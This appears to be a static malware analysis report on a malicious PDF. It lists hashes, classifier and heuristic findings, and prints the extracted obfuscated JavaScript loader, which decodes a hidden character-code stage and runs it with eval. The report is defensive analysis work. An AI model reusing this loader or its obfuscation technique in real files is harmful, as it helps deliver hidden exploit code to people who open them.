Malicious PDF — malware analysis report

Static analysis result for SHA-256 1a48b23f5e6edad7…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-09
MD5: bf86f65eff32ec3032d2e4af8bb9aa66 SHA-1: 9501777243121e3cbee0bda83d2348d19cb79c89 SHA-256: 1a48b23f5e6edad7a6ca66373f6b616e5bba510667f059b2bbfe70a06b52ae5a
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript stream, named javascript_obj0001_000.js, is the primary indicator of malicious activity. The document body 'substr split test' provides no context for the malicious behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB09F 440 bytes
SHA-256: 4fe94c3ee5d94453cc9af884196897880effb3cef461d9d24d9f981ea14cdfc3
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
gkci=e('ti'.concat(v[4],t));
q=gkci[v](a.length-6,a.length+2);
cjq=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=gkci[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	fzl = 1*(q[i]);
	i++;
	fzl -= (-1)*(q[i]);
	s2 = s2.concat(cjq(fzl));
	i++;
}
e(s2);

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